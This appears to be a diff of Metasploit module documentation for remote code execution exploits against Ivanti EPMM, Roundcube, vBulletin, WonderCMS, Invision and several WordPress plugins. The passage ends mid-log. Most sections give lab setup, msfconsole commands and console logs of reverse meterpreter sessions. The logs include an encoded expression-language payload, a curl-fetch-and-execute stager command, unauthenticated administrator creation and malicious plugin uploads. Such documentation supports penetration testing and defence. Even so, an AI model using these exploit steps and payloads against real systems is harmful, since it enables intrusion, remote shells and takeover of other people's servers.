### Command Shell (ARCH_CMD)
```bash
use exploit/multi/http/invision_customcss_rce
set TARGET 1
set RHOSTS 127.0.0.1
set TARGETURI /
set payload cmd/linux/http/x64/meterpreter_reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444
run
```
## Expected Results
With `php/meterpreter/reverse_tcp`:
```plaintext
msf6 exploit(multi/http/invision_customcss_rce) > run http://localhost:7777
[*] Exploiting target 127.0.0.1
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected IPS version: 5.0.6
[+] The target is vulnerable. IPS version 5.0.6 is vulnerable (≤ 5.0.6)
[*] Sending exploit to 127.0.0.1:7777 ...
[*] Sending stage (40004 bytes) to 172.30.0.3
[*] Meterpreter session 9 opened (192.168.1.36:4444 -> 172.30.0.3:34414) at 2025-05-20 18:13:55 +0200
[*] Session 9 created in the background.
msf6 exploit(multi/http/invision_customcss_rce) > sessions 9
[*] Starting interaction with 9...
meterpreter > sysinfo
Computer : 01ed59644450
OS : Linux 01ed59644450 6.14.6-2-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 10 May 2025 20:09:10 +0000 x86_64
Meterpreter : php/linux
```
With `cmd/linux/http/x64/meterpreter_reverse_tcp`:
```plaintext
msf6 exploit(multi/http/invision_customcss_rce) > run http://localhost:7777
[*] Exploiting target 127.0.0.1
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected IPS version: 5.0.6
[+] The target is vulnerable. IPS version 5.0.6 is vulnerable (≤ 5.0.6)
[*] Sending exploit to 127.0.0.1:7777 ...
[*] Meterpreter session 7 opened (192.168.1.36:4444 -> 172.30.0.3:46552) at 2025-05-20 18:11:35 +0200
[*] Session 7 created in the background.
msf6 exploit(multi/http/invision_customcss_rce) > sessions 7
[*] Starting interaction with 7...
meterpreter > sysinfo
Computer : 172.30.0.3
OS : Debian 12.10 (Linux 6.14.6-2-cachyos)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
@@ -0,0 +1,78 @@
## Vulnerable Application
This module exploits an unauthenticated remote code execution exploit chain for Ivanti EPMM,
tracked as CVE-2025-4427 and CVE-2025-4428. An authentication flaw permits unauthenticated
access to an administrator web API endpoint, which allows for code execution via expression
language injection. This module executes in the context of the 'tomcat' user. This module
should also work on many versions of MobileIron Core (rebranded as Ivanti EPMM).
## Testing
To set up a test environment:
1. Set up an Ivanti EPMM or MobileIron Core VM appliance.
2. Configure basic networking and confirm that the web service on port 443 is reachable.
3. Follow the verification steps below.
## Options
No custom options exist for this module.
## Verification Steps
1. Start msfconsole
2. `use exploit/multi/http/ivanti_epmm_rce_cve_2025_4427_4428`
3. `set RHOSTS <TARGET_IP_ADDRESS>`
4. `set RPORT <TARGET_PORT>`
5. `run`
## Scenarios
### Ivanti EPMM (MobileIron Core) Linux Target
```
msf6 exploit(multi/http/ivanti_epmm_rce_cve_2025_4427_4428) > show options
Module options (exploit/multi/http/ivanti_epmm_rce_cve_2025_4427_4428):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, so
cks4, socks5, socks5h, http
RHOSTS 10.5.132.244 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-met
asploit.html
RPORT 443 yes The target port (TCP)
SSL true yes Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to Ivanti EPMM
VHOST no HTTP server virtual host
Payload options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.5.135.201 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Default
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/ivanti_epmm_rce_cve_2025_4427_4428) > run
[*] Started reverse TCP handler on 10.5.135.201:4444
[!] AutoCheck is disabled, proceeding with exploitation
[*] Attempting to execute payload
[*] Sending template payload: ${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('python3 -c exec(__import__("base64").b64decode("ZXhlYyhfX2ltcG9ydF9fKCd6bGliJykuZGVjb21wcmVzcyhfX2ltcG9ydF9fKCdiYXNlNjQnKS5iNjRkZWNvZGUoX19pbXBvcnRfXygnY29kZWNzJykuZ2V0ZW5jb2RlcigndXRmLTgnKSgnZU5vOVVFMUx4REFRUFRlL0lyY2tHRU83dG50WXJDRGlRVVFFMTV1SXRNbW9vV2tTa3F4V3hmOXVReGJuTU1PYmVmUG1ROC9laFlTamt4TWsvbTMweU1jaHdyYmxNWVdEVER6cEdkQ3JDM2pCMnVJdzJEZWdUYzEycUVyaGEvVlY3RXV6S0lGdStCSHY3Njl1WC9hUEQ5ZVhkeXp6aEhUV2dreVVrcVlXbldqT09yR3BHOExiMVZpbWpBR0dDVld3U1BBcGErZmhJaG9BVHp1R1RGOTJFZ2ZyQnpsUmNuRkRlQlFCNUFkZEJaN3FaNlQ2SXpZTWZiNXJBOWlBcFlxZG0xVk9uZnhYVDB1YUlWaEEwbnkyVUNEZDdBUEVTTXNIeExodGMxSkJadklmRXNrdS9qTDBCOGd3WHZBPScpWzBdKSkp"))').getInputStream()).useDelimiter('%5C%5CA').next()}
[*] Sending stage (24768 bytes) to 10.5.132.244
[*] Meterpreter session 2 opened (10.5.135.201:4444 -> 10.5.132.244:50322) at 2025-06-03 13:38:16 -0500
meterpreter > sysinfo
Computer : ivanti.example.local
OS : Linux 3.10.0-1160.6.1.el7.x86_64 #1 SMP Tue Nov 17 13:59:11 UTC 2020
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter > getuid
Server username: tomcat
meterpreter > exit
```
@@ -0,0 +1,147 @@
## Vulnerable Application
This module exploits an authenticated remote code execution vulnerability via a file upload
endpoint. The vulnerability stems from improper validation of the uploaded filename, which is
deserialized on the server side without sufficient sanitization. By embedding a PHP serialization
gadget chain in the filename, an attacker can achieve remote code execution.
This issue is tracked as CVE-2025-49113. Exploitation results in code execution as the web server
user.
## Testing
To set up a test environment:
1. Set up an Roundcube.
Create File
`docker-compose.xml`
```
version: '3'
services:
db:
image: mariadb:10.5
restart: always
environment:
MYSQL_ROOT_PASSWORD: example_root_pass
MYSQL_DATABASE: roundcube
MYSQL_USER: roundcube_user
MYSQL_PASSWORD: roundcube_pass
volumes:
- db_data:/var/lib/mysql
roundcube:
image: roundcube/roundcubemail:1.5.9-apache
depends_on:
- db
ports:
- "8080:80"
environment:
ROUNDCUBEMAIL_DEFAULT_HOST: <ROUNDCUBEMAIL_DEFAULT_HOST>
ROUNDCUBEMAIL_SMTP_SERVER: <ROUNDCUBEMAIL_SMTP_SERVER>
ROUNDCUBEMAIL_SMTP_PORT: 587
ROUNDCUBEMAIL_SMTP_USER: <ROUNDCUBEMAIL_SMTP_USER>
ROUNDCUBEMAIL_SMTP_PASS: <ROUNDCUBEMAIL_SMTP_PASS>
ROUNDCUBEMAIL_DES_KEY: randomstring
ROUNDCUBEMAIL_DB_TYPE: mysql
ROUNDCUBEMAIL_DB_HOST: db
ROUNDCUBEMAIL_DB_USER: roundcube_user
ROUNDCUBEMAIL_DB_PASSWORD: roundcube_pass
ROUNDCUBEMAIL_DB_NAME: roundcube
volumes:
db_data:
```
Execute
`docker compose up`
2. Configure basic networking and confirm that the web service on port 8080 is reachable.
3. Follow the verification steps below.
## Options
No custom options exist for this module.
## Verification Steps
1. Start msfconsole
2. `use exploit/multi/http/roundcube_unauth_rce_cve_2025_49113`
3. `set RHOSTS <TARGET_IP_ADDRESS>`
4. `set RPORT <TARGET_PORT>`
5. `set LHOST <LOCAL_IP>`
6. `set LPORT <LOCAL_PORT>`
7. `set USERNAME <USERNAME_TO_LOGIN_WITH>`
8. `set PASSWORD <PASSWORD_TO_LOGIN_WITH>`
9. `run`
## Scenarios
### Roundcube Linux Target
```
msf6 exploit(multi/http/roundcube_unauth_rce_cve_2025_49113) > show options
Module options (exploit/multi/http/roundcube_unauth_rce_cve_2025_49113):
Name Current Setting Required Description
---- --------------- -------- -----------
HOST no The hostname of Roundcube server
PASSWORD yes Password to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 9999 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The URI of the Roundcube Application
TIMEOUT 3 no Time to wait for session (in seconds)
URIPATH no The URI to use for this exploit (default is random)
USERNAME yes Email User to login with
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux
msf6 exploit(multi/http/roundcube_unauth_rce_cve_2025_49113) > exploit
[*] Started reverse TCP handler on 192.168.159.129:8082
[*] Using URL: http://192.168.159.129:9696/
[*] Fetching CSRF token...
[*] Attempting login...
[+] Login successful.
[*] Preparing payload...
[+] Payload successfully generated and serialized.
[*] Uploading malicious payload...
[*] Client 192.168.181.148 (curl/7.74.0) requested /
[*] Sending payload to 192.168.181.148 (curl/7.74.0)
[*] Sending stage (3045380 bytes) to 192.168.181.148
[*] Meterpreter session 1 opened (192.168.159.129:8082 -> 192.168.181.148:56528) at 2025-06-06 21:05:59 -0400
[+] Exploit attempt complete. Check for session.
[*] Server stopped.
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : dante.local
OS : Debian 11.5 (Linux 6.11.2-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```
@@ -0,0 +1,173 @@
## Vulnerable Application
This Metasploit module exploits a design flaw in vBulletins AJAX API handler and template
rendering system, affecting **vBulletin 5.0.0 through 6.0.3** on **PHP 8.1+**.
An unauthenticated attacker can invoke the protected `vB_Api_Ad::replaceAdTemplate()` method to inject a malicious template that calls
`"system"("base64_decode"($_POST[<param>]))`, then trigger execution via the `ajax/render/ad_<location>` endpoint,
yielding arbitrary code execution as the webserver user.
> **Note:** vBulletin is commercial software and is **not** included here. You must obtain a licensed copy and extract it under `./upload/`.
---
## To replicate vulnerable environments
1. **vBulletin 6.0.1 (tested)**
* Purchase and download vBulletin 6.0.1 from the official portal.
* Extract all files into `./upload/`.
2. **Other versions (5.0.06.0.3)**
* Repeat the above with any of the supported versions.
* Ensure you run on PHP 8.1+; earlier PHP versions do not expose this flaw.
---
## Docker Compose Configuration
```yaml
services:
db:
image: mysql:5.7
container_name: vbulletin_db
restart: unless-stopped
environment:
MYSQL_ROOT_PASSWORD: root_password_here
MYSQL_DATABASE: vbulletin
MYSQL_USER: vbulletin
MYSQL_PASSWORD: vb_password_here
volumes:
- db_data:/var/lib/mysql
web:
build: .
container_name: vbulletin_web
depends_on: [db]
ports: ["8888:80"]
environment:
VB_DB_HOST: db
VB_DB_NAME: vbulletin
VB_DB_USER: vbulletin
VB_DB_PASS: vb_password_here
volumes:
db_data:
```
Create the following **Dockerfile** and **docker-entrypoint.sh** in the same directory:
**Dockerfile**
```dockerfile
FROM php:8.1-apache
COPY upload/ /var/www/html/
RUN apt-get update && \
apt-get install -y --no-install-recommends \
libzip-dev zlib1g-dev libonig-dev \
libpng-dev libjpeg-dev libfreetype6-dev && \
docker-php-ext-install \
zip mysqli pdo_mysql gd mbstring && \
a2enmod rewrite && \
rm -rf /var/lib/apt/lists/*
RUN echo "phar.readonly=Off" > /usr/local/etc/php/conf.d/vbulletin.ini
COPY --chmod 755 docker-entrypoint.sh /usr/local/bin/
ENTRYPOINT ["docker-entrypoint.sh"]
CMD ["apache2-foreground"]
```
**docker-entrypoint.sh**
```bash
#!/bin/bash
chown -R www-data:www-data /var/www/html
exec "$@"
```
---
## Verification Steps
1. **Start the environment**
```bash
docker-compose up -d
```
2. **Install vBulletin**
Open [http://localhost:8888](http://localhost:8888) and complete the installation:
* **Database Host:** db
* **DB Name:** vbulletin
* **DB User:** vbulletin
* **DB Password:** vb_password_here
3. **Run `msfconsole`**
```bash
use exploit/multi/http/vbulletin_replace_ad_template_rce
set RHOSTS 127.0.0.1
set RPORT 8888
set TARGETURI /
check
```
---
## Options
No option
---
## Scenarios
### Unauthenticated Pre-Auth RCE
1. Ensure vBulletin 5.0.06.0.3 is installed and running on PHP 8.1+.
2. In `msfconsole`, configure and run:
```bash
set RHOSTS localhost
set RPORT 8888
set TARGETURI /
```
---
## Expected Results
### With `cmd/linux/http/x64/meterpreter/reverse_tcp`
```plaintext
msf6 exploit(multi/http/vbulletin_replace_ad_template_rce) > run http://lab:8888
[*] Command to run on remote host: curl -so ./BGZuzbsi http://192.168.1.36:8080/LoPlnjEpeOexZNVppn6cAA;chmod +x ./BGZuzbsi;./BGZuzbsi&
[*] Fetch handler listening on 192.168.1.36:8080
[*] HTTP server started
[*] Adding resource /LoPlnjEpeOexZNVppn6cAA
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Starting vulnerability check on 127.0.0.1:8888/
[*] Generating random marker and condition for mode check
[*] Sending POST to ajax/api/ad/replaceAdTemplate (location=QuFcp)
[*] Injection response: HTTP 200
[+] Marker found in injection response body
[+] The target is vulnerable.
[*] Generating random marker and condition for mode exploit
[*] Sending POST to ajax/api/ad/replaceAdTemplate (location=XSGFS)
[*] Client 172.28.0.3 requested /LoPlnjEpeOexZNVppn6cAA
[*] Sending payload to 172.28.0.3 (curl/7.88.1)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.28.0.3
[*] Meterpreter session 8 opened (192.168.1.36:4444 -> 172.28.0.3:53014) at 2025-05-29 16:27:00 +0200
meterpreter > sysinfo
Computer : 172.28.0.3
OS : Debian 12.11 (Linux 6.14.8-2-cachyos)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```
@@ -0,0 +1,63 @@
## Vulnerable Application
[WonderCMS](https://www.wondercms.com/) is a free and open-source Content Management System (CMS). The main advantage is that only one PHP file controls the whole management. Follow next steps to install application:
### Source Installation
1. Install Apache2 and PHP on server
2. Download WonderCMS from [here](https://github.com/WonderCMS/wondercms/releases/download/3.4.2/wondercms-342.zip)
3. Enable Apache2 Rewrite Engine: `sudo a2enmod rewrite`
### Docker Installation
1. Clone the following repo: `git clone https://github.com/mablanco/docker-wondercms.git`
2. Inside the `Dockerfile` set the version to a vulnerable version: `ARG WONDERCMS_VERSION=3.4.0`
3. Build the image: ` docker build -t 3.4.0 .`
4. Run the container: `docker run -d -p 8980:80 --name wondercms 3.4.0`
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use multi/http/wondercms_rce`
4. Do: `set PASSWORD [password]`
5. Do: `set RHOST [WonderCMS IP]
6. Do: `set SRVHOST [attacker IP to host payload]`
7. Do: `set LHOST [attacker IP]`
8. Do: `set LPORT [attacker PORT]`
9. Do: `run`
10. You should get a shell.
## Options
### PASSWORD
WonderCMS uses a global password that generated at the application's first run. This is global admin password that controls the whole CMS. This password has to be used in the exploit to get authenticated access.
## Scenarios
```
msf6 exploit(multi/http/wondercms_rce) > set LHOST 192.168.168.152
LHOST => 192.168.168.152
msf6 exploit(multi/http/wondercms_rce) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/http/wondercms_rce) > exploit
[*] Exploit running as background job 28.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/wondercms_rce) >
[*] Started reverse TCP handler on 192.168.168.152:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Target is probably WonderCMS..
[+] The target is vulnerable. Version 3.4.2 is affected
[*] Using URL: http://192.168.168.152:8082/81k4.zip
[*] Received request, sending payload..
[*] Server stopped.
[*] Command shell session 5 opened (192.168.168.152:4444 -> 192.168.168.146:37068) at 2025-04-25 14:46:20 +0200
msf6 exploit(multi/http/wondercms_rce) > sessions 5
[*] Starting interaction with 5...
whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
@@ -0,0 +1,241 @@
## Vulnerable Application
This Metasploit module exploits administrative user creation vulnerabilities in the
WordPress SureTriggers/OttoKit plugin:
* **CVE-2025-3102** (≤ 1.0.78): unauthenticated admin creation via the `automation/action`
REST endpoint with an empty `St-Authorization: Bearer` header.
* **CVE-2025-27007** (≤ 1.0.82): unauthenticated reset of the access key via the `connection/create-wp-connection` endpoint,
followed by admin creation using `St-Authorization: Bearer <NEW_KEY>`.
### To replicate vulnerable environments
1. **SureTriggers v1.0.78 (CVE-2025-3102)**
* Download & install plugin v1.0.78:
`https://downloads.wordpress.org/plugin/suretriggers.1.0.78.zip`
* No additional setup is required; the bypass works immediately upon activation.
2. **SureTriggers v1.0.82 (CVE-2025-27007)**
* Download & install plugin v1.0.82:
`https://downloads.wordpress.org/plugin/suretriggers.1.0.82.zip`
* No secret key is needed; the exploit will reset it to the specified value.
Both scenarios can be deployed via Docker Compose.
## Docker Compose Configuration
```yaml
services:
wordpress:
image: wordpress:6.3.2
restart: always
ports:
- 5555:80
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: chocapikk
WORDPRESS_DB_PASSWORD: dummy_password
WORDPRESS_DB_NAME: exploit_market
volumes:
- wordpress:/var/www/html
- ./custom.ini:/usr/local/etc/php/conf.d/custom.ini
db:
image: mysql:5.7
restart: always
environment:
MYSQL_DATABASE: exploit_market
MYSQL_USER: chocapikk
MYSQL_PASSWORD: dummy_password
MYSQL_ROOT_PASSWORD: dummy_password
volumes:
- db:/var/lib/mysql
volumes:
wordpress:
db:
```
Create a `custom.ini` file with:
```ini
upload_max_filesize = 64M
post_max_size = 64M
```
## Verification Steps
1. Start the environment:
```bash
docker-compose up -d
```
2. Complete WordPress setup at [http://localhost:5555](http://localhost:5555).
3. Confirm the targeted SureTriggers version is active under **Plugins**.
4. In `msfconsole`:
```bash
use exploit/multi/http/wp_suretriggers_auth_bypass
set RHOSTS 127.0.0.1
set TARGETURI /
set WP_USER eviladmin
set WP_PASS Str0ngP@ss!
set WP_EMAIL eviladmin@example.com
```
## Options
* **WP_USER**, **WP_PASS**, **WP_EMAIL**: New administrator credentials (random by default).
* **ST_AUTH**: *(Optional)* Value for `St-Authorization` header (used by CVE-2025-3102; default empty).
* **ACCESS_KEY**: *(Optional)* Key to reset for CVE-2025-27007 (random by default).
* **ACTION**: Exploit to perform:
* `CVE-2025-3102`
* `CVE-2025-27007`
## Scenarios
### CVE-2025-3102: Empty Bearer Admin Creation
1. Ensure SureTriggers v1.0.78 is active.
2. In `msfconsole`, set:
```bash
set ACTION CVE-2025-3102
```
3. Run the module: it will send an empty `St-Authorization: Bearer ` header to `/wp-json/sure-triggers/v1/automation/action`.
4. New administrator is created; payload is uploaded and executed.
### CVE-2025-27007: Reset Access Key & Admin Creation
1. Ensure SureTriggers v1.0.82 is active.
2. In `msfconsole`, set:
```bash
set ACTION CVE-2025-27007
```
3. Run the module: it will call `/wp-json/sure-triggers/v1/connection/create-wp-connection` to reset the key, then use
`St-Authorization: Bearer mynewkey123` against `/wp-json/sure-triggers/v1/automation/action`.
4. New administrator is created; payload is uploaded and executed.
### Expected Results (CVE-2025-3102)
With `php/meterpreter/reverse_tcp`:
```plaintext
msf6 exploit(multi/http/wp_suretriggers_auth_bypass) > set action CVE-2025-3102
action => CVE-2025-3102
msf6 exploit(multi/http/wp_suretriggers_auth_bypass) > run http://lab:5555
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected WordPress version: 6.8.1
[+] The target appears to be vulnerable. Detected suretriggers 1.0.78 vulnerable to CVE-2025-3102
[+] Admin created: warner:Q0bTyYI43H8g
[*] Uploading malicious plugin for code execution...
[*] Executing payload at /wp-content/plugins/wp_hkc1z/ajax_kq8xu.php...
[*] Sending stage (40004 bytes) to 172.27.0.3
[+] Deleted ajax_kq8xu.php
[+] Deleted wp_hkc1z.php
[+] Deleted ../wp_hkc1z
[*] Meterpreter session 6 opened (192.168.1.36:4444 -> 172.27.0.3:43702) at 2025-05-21 19:35:49 +0200
meterpreter > sysinfo
Computer : 396e678f2510
OS : Linux 396e678f2510 6.14.6-2-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 10 May 2025 20:09:10 +0000 x86_64
Meterpreter : php/linux
```
With `cmd/linux/http/x64/meterpreter/reverse_tcp`:
```plaintext
msf6 exploit(multi/http/wp_suretriggers_auth_bypass) > set action CVE-2025-3102
action => CVE-2025-3102
msf6 exploit(multi/http/wp_suretriggers_auth_bypass) > set target 1
target => 1
msf6 exploit(multi/http/wp_suretriggers_auth_bypass) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp_suretriggers_auth_bypass) > run http://lab:5555
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected WordPress version: 6.8.1
[+] The target appears to be vulnerable. Detected suretriggers 1.0.78 vulnerable to CVE-2025-3102
[+] Admin created: warner:Q0bTyYI43H8g
[*] Uploading malicious plugin for code execution...
[*] Executing payload at /wp-content/plugins/wp_xtndd/ajax_bmjl3.php...
[*] Sending stage (3045380 bytes) to 172.27.0.3
[+] Deleted ajax_bmjl3.php
[+] Deleted wp_xtndd.php
[+] Deleted ../wp_xtndd
[*] Meterpreter session 7 opened (192.168.1.36:4444 -> 172.27.0.3:35176) at 2025-05-21 19:36:44 +0200
meterpreter > sysinfo
Computer : 172.27.0.3
OS : Debian 12.10 (Linux 6.14.6-2-cachyos)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```
### Expected Results (CVE-2025-27007)
With `php/meterpreter/reverse_tcp`:
```plaintext
msf6 exploit(multi/http/wp_suretriggers_auth_bypass) > set action CVE-2025-27007
action => CVE-2025-27007
msf6 exploit(multi/http/wp_suretriggers_auth_bypass) > run http://lab:5555
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected WordPress version: 6.8.1
[+] The target appears to be vulnerable. Detected suretriggers 1.0.82 vulnerable to CVE-2025-27007
[*] Resetting access key
[+] Access key reset successful
[+] Admin created: warner:Q0bTyYI43H8g
[*] Uploading malicious plugin for code execution...
[*] Executing payload at /wp-content/plugins/wp_kbl7m/ajax_awg0f.php...
[*] Sending stage (40004 bytes) to 172.27.0.3
[+] Deleted ajax_awg0f.php
[+] Deleted wp_kbl7m.php
[+] Deleted ../wp_kbl7m
[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 172.27.0.3:52622) at 2025-05-21 19:31:04 +0200
meterpreter > sysinfo
Computer : 396e678f2510
OS : Linux 396e678f2510 6.14.6-2-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 10 May 2025 20:09:10 +0000 x86_64
Meterpreter : php/linux
```
With `cmd/linux/http/x64/meterpreter/reverse_tcp`:
```plaintext
msf6 exploit(multi/http/wp_suretriggers_auth_bypass) > set target 1
target => 1
msf6 exploit(multi/http/wp_suretriggers_auth_bypass) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp_suretriggers_auth_bypass) > run http://lab:5555
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected WordPress version: 6.8.1
[+] The target appears to be vulnerable. Detected suretriggers 1.0.82 vulnerable to CVE-2025-27007
[*] Resetting access key
[+] Access key reset successful
[+] Admin created: warner:Q0bTyYI43H8g
[*] Uploading malicious plugin for code execution...
[*] Executing payload at /wp-content/plugins/wp_uozfu/ajax_cqg9q.php...
[*] Sending stage (3045380 bytes) to 172.27.0.3
[+] Deleted ajax_cqg9q.php
[+] Deleted wp_uozfu.php
[+] Deleted ../wp_uozfu
[*] Meterpreter session 5 opened (192.168.1.36:4444 -> 172.27.0.3:56038) at 2025-05-21 19:33:42 +0200
meterpreter > sysinfo
Computer : 172.27.0.3
OS : Debian 12.10 (Linux 6.14.6-2-cachyos)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```
@@ -0,0 +1,76 @@
## Vulnerable Application
This module exploits unauthenticated remote code execution in Tatsu plugin for Wordpress. The vulnerable version is below 3.3.11.
The module upload malicious zip file containing PHP payload, which gets parsed and unzipped into Wordpress upload directory.
Then module will trigger the payload by sending request with payload directory as URI.
The vulnerable plugin is available [here](https://tatsubuilder.com/wp-content/uploads/edd/2022/03/tatsu-3.3.11.zip)
## Verification Steps
1. Install the application
1.1 Create `docker-compose.yml`
```yaml
services:
wordpress:
image: wordpress:6.3.2
restart: always
ports:
- 5555:80
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: ms
WORDPRESS_DB_PASSWORD: supersecret
WORDPRESS_DB_NAME: proof_of_concept
volumes:
- wordpress:/var/www/html
- ./custom.ini:/usr/local/etc/php/conf.d/custom.ini
db:
image: mysql:5.7
restart: always
environment:
MYSQL_DATABASE: proof_of_concept
MYSQL_USER: ms
MYSQL_PASSWORD: supersecret
MYSQL_ROOT_PASSWORD: supersecret
volumes:
- db:/var/lib/mysql
volumes:
wordpress:
db:
```
1.2 Download [plugin](https://tatsubuilder.com/wp-content/uploads/edd/2022/03/tatsu-3.3.11.zip)
1.3 Install the plugin in Wordpress admin portal
2. `msfconsole`
3. `use multi/http/wp_tatsu_rce`
4. `set RHOST [target IP]`
5. `set RPORT [target PORT]`
6. `set LHOST [attacker's IP]`
7. `set LPORT [attacker's port]`
## Options
## Scenarios
Vulnerable version is <= 3.3.11.
```
`msf6 exploit(multi/http/wp_tatsu_rce) > run
[*] Started reverse TCP handler on 192.168.168.128:4444
[*] Sending stage (40004 bytes) to 172.18.0.2
[*] Meterpreter session 2 opened (192.168.168.128:4444 -> 172.18.0.2:37718) at 2025-06-11 18:59:35 +0200
[*] Starting interaction with 2...
meterpreter > sysinfo
Computer : ff0d55ec29bf
OS : Linux ff0d55ec29bf 6.12.10-76061203-generic #202412060638~1748542656~22.04~663e4dc SMP PREEMPT_DYNAMIC Thu M x86_64
Meterpreter : php/linux
meterpreter >
```
@@ -0,0 +1,183 @@
## Vulnerable Application
This Metasploit module exploits an unauthenticated privilege escalation in the
WordPress User Registration & Membership plugin (Free ≤ 4.1.2, Pro ≤ 5.1.2) (CVE-2025-2563).
When the Membership Addon is enabled, the plugin fails to prevent users from setting their
own account role, allowing anyone to escalate to administrator.
To replicate a vulnerable environment for testing:
1. Install WordPress using the provided Docker Compose configuration.
2. Download and install the User Registration plugin v4.1.1 (Free):
[https://downloads.wordpress.org/plugin/user-registration.4.1.1.zip](https://downloads.wordpress.org/plugin/user-registration.4.1.1.zip)
3. Activate the plugin and enable the **Membership** Addon under:
`/wp-admin/admin.php?page=user-registration-dashboard#features`.
4. No further configuration is required; vulnerability is present when the addon is active.
- Permalinks must be enabled.
## Docker Compose Configuration
```yaml
services:
wordpress:
image: wordpress:6.3.2
restart: always
ports:
- 5555:80
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: chocapikk
WORDPRESS_DB_PASSWORD: dummy_password
WORDPRESS_DB_NAME: exploit_market
volumes:
- wordpress:/var/www/html
- ./custom.ini:/usr/local/etc/php/conf.d/custom.ini
db:
image: mysql:5.7
restart: always
environment:
MYSQL_DATABASE: exploit_market
MYSQL_USER: chocapikk
MYSQL_PASSWORD: dummy_password
MYSQL_ROOT_PASSWORD: dummy_password
volumes:
- db:/var/lib/mysql
volumes:
wordpress:
db:
```
Create a `custom.ini` file with:
```ini
upload_max_filesize = 64M
post_max_size = 64M
```
## Verification Steps
1. Start the environment:
```bash
docker-compose up -d
```
2. Complete WordPress setup at [http://localhost:5555](http://localhost:5555).
3. Confirm the User Registration v4.1.1 plugin is active under **Plugins**.
4. Enable the **Membership** Addon at `/wp-admin/admin.php?page=user-registration-dashboard#features`.
5. Launch `msfconsole`.
6. Load the module:
```bash
use exploit/multi/http/wp_user_registration_membership_escalation
```
7. Set `RHOSTS` to the target IP, and configure credentials:
```bash
set WP_USER eviluser
set WP_PASS Str0ngP@ss!
set WP_EMAIL eviluser@example.com
```
8. (Optional) Set `TARGETURI` if WordPress is installed in a subdirectory.
9. Run the exploit:
```bash
run
```
## Options
* **WP_USER**, **WP_PASS**, **WP_EMAIL**: Credentials for the new administrator account to be created.
## Scenarios
### Successful Exploitation
**Setup:**
* Local WordPress instance with User Registration v4.1.1 (Free) and Membership Addon enabled.
* Metasploit Framework
**Steps:**
1. Start `msfconsole`.
2. Load the module:
```bash
use exploit/multi/http/wp_user_registration_membership_escalation
```
3. Configure options:
```bash
set RHOSTS 127.0.0.1
set TARGETURI /
set WP_USER admin2
set WP_PASS P@ssw0rd!
set WP_EMAIL admin2@example.com
run
```
**Expected Results (PHP payload):**
```plaintext
msf6 exploit(multi/http/wp_user_registration_membership_escalation) > run http://lab:5555
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected WordPress version: 6.8.1
[+] Detected user-registration version 4.1.1
[+] The target appears to be vulnerable.
[*] Registering new user with free membership...
